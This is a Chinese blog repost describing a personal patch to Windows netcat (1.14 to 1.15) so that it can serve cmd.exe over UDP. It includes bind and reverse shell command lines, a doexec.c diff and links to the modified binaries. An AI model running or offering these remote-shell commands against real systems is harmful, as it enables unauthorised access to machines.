本文主要是介绍update netcat 1.14 to 1.15 to support nc -u -lp port -e cmd.exe,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
更新说明:netcat-1.14之前的版本不支持udp模式下得到一个shell,既同时使用-u选项和-e选项。
netcat-1.15下可以,使用如下:
1.nc -ulp port -e cmd.exe nc -u ip port
2.nc -ulp port nc -u ip port-e cmd.exe
nc115.rar by chenghao0511#gmail.com
http://pan.baidu.com/share/link?shareid=470304&uk=453348606
http://www.kuaipan.cn/file/id_9282957629980996.htm
update netcat 1.14 to 1.15
modify by chenghao0511#gmail.com 2013/05/11
why?
netcat 1.14 can not support :
nc -u -lp port -e cmd.exe
nc -u ip port
how to update:(in doexec.c in SessionWriteShellThreadFn)
- BYTE RecvBuffer[1];
+ BYTE RecvBuffer[8192];
- BYTE Buffer[BUFFER_SIZE];
- while (recv(Session->ClientSocket, RecvBuffer, sizeof(RecvBuffer), 0) != 0) {
+ while ((BufferCnt = recv(Session->ClientSocket, RecvBuffer, sizeof(RecvBuffer), 0)) != 0) {
- Buffer[BufferCnt++] = RecvBuffer[0];
- if (RecvBuffer[0] == '\r')
- Buffer[BufferCnt++] = '\n';
// Trap exit as it causes problems
- if (strnicmp(Buffer, "exit\n", 5) == 0)
- ExitThread(0);
//
// If we got a CR, it's time to send what we've buffered up down to the
// shell process.
// SECURITY FIX: CW 12/27/04 Add BufferCnt size check. If we hit end of buffer, flush it
if (RecvBuffer[0] == '\n' || RecvBuffer[0] == '\r' || BufferCnt > BUFFER_SIZE-1) {
if (! WriteFile(Session->WritePipeHandle, Buffer, BufferCnt,
&BytesWritten, NULL))
{
break;
}
BufferCnt = 0;
}
changed to:
//if (RecvBuffer[0] == '\n' || RecvBuffer[0] == '\r' || BufferCnt > BUFFER_SIZE-1) {
if (! WriteFile(Session->WritePipeHandle, RecvBuffer, BufferCnt,
&BytesWritten, NULL))
{
break;
}
BufferCnt = 0;
//}
(13-05-14)更新说明:更正了本地输入exit后,远程退出,本地不退出的情况,udp不是面向连接的所以,对方关闭套接字,己方不会自动关闭套接字,需要自己选择一个时机退出。
rr = send (fd, zp, rr, 0); /* one line, or the whole buffer */
+ if (strnicmp(zp, "exit\n", 5) == 0) /* UDP after input "exit",break! by chenghao0511 2013-05-14*/
+ if(o_udpmode)
+ break;
netcat 1.15-2 by chenghao0511
netcat-1.152可以用
nc -C -uip port -e cmd.exe
nc -ulp port
http://pan.baidu.com/share/link?shareid=476358&uk=453348606
http://www.kuaipan.cn/file/id_9282957629981000.htm
netcat-1.152的情况下,既UDP模式下,可以内网ip和外网ip相互通信。
netcat 1.13-3对-u参数既UDP模式下crtl+c进行了出来,本地发送"exit\n"到远端。
netcat 1.15-3 by chenghao0511
这篇关于update netcat 1.14 to 1.15 to support nc -u -lp port -e cmd.exe的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!